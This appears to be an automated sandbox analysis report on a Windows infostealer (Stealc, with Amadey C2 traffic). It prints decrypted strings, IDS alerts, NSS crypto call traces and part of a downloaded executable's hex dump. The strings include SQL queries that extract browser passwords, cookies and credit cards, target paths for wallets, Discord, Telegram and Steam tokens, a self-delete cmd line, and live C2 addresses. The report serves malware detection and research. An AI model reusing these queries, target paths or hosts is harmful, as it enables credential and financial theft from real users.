Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.file.exe.610000.0.unpack	String decryptor: encrypted_key
Source: 0.2.file.exe.610000.0.unpack	String decryptor: PATH
Source: 0.2.file.exe.610000.0.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: NSS_Init
Source: 0.2.file.exe.610000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.file.exe.610000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.file.exe.610000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.file.exe.610000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.file.exe.610000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.file.exe.610000.0.unpack	String decryptor: browser:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: profile:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: url:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: login:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: password:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Opera
Source: 0.2.file.exe.610000.0.unpack	String decryptor: OperaGX
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Network
Source: 0.2.file.exe.610000.0.unpack	String decryptor: cookies
Source: 0.2.file.exe.610000.0.unpack	String decryptor: .txt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 0.2.file.exe.610000.0.unpack	String decryptor: TRUE
Source: 0.2.file.exe.610000.0.unpack	String decryptor: FALSE
Source: 0.2.file.exe.610000.0.unpack	String decryptor: autofill
Source: 0.2.file.exe.610000.0.unpack	String decryptor: history
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 0.2.file.exe.610000.0.unpack	String decryptor: cc
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.file.exe.610000.0.unpack	String decryptor: name:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: month:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: year:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: card:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Cookies
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Login Data
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Web Data
Source: 0.2.file.exe.610000.0.unpack	String decryptor: History
Source: 0.2.file.exe.610000.0.unpack	String decryptor: logins.json
Source: 0.2.file.exe.610000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.file.exe.610000.0.unpack	String decryptor: usernameField
Source: 0.2.file.exe.610000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.file.exe.610000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.file.exe.610000.0.unpack	String decryptor: guid
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 0.2.file.exe.610000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.file.exe.610000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.file.exe.610000.0.unpack	String decryptor: places.sqlite
Source: 0.2.file.exe.610000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.610000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.610000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.610000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.610000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.610000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.610000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.610000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.610000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.610000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.610000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.610000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.610000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.610000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.610000.0.unpack	String decryptor: open
Source: 0.2.file.exe.610000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.610000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.610000.0.unpack	String decryptor: files
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.610000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.610000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.610000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.610000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.610000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.610000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.610000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.610000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.610000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.610000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.610000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.610000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.610000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.610000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.610000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.610000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.610000.0.unpack	String decryptor: done
Source: 0.2.file.exe.610000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.610000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.610000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.610000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.610000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.610000.0.unpack	String decryptor: https
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.610000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.610000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.610000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.610000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.610000.0.unpack	String decryptor: build
Source: 0.2.file.exe.610000.0.unpack	String decryptor: token
Source: 0.2.file.exe.610000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.610000.0.unpack	String decryptor: file
Source: 0.2.file.exe.610000.0.unpack	String decryptor: message
Source: 0.2.file.exe.610000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.610000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9A9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CB9A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB944C0 PK11_PubEncrypt,	0_2_6CB944C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB64420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CB64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94440 PK11_PrivDecrypt,	0_2_6CB94440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBE25B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CBE25B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CB7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CB78670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CB9A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CBBA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBC0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CBC0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CB943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CBB7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CBBBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CB77D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBB9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CBB9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB93FF0 PK11_PrivDecryptPKCS1,	0_2_6CB93FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB93850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CB93850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB99840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CB99840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBBDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CBBDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB93560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CB93560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49734 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.8:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49741 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2008434373.000000006FE3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2006319453.000000006CC6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2008434373.000000006FE3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49744 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49745

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 14:06:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 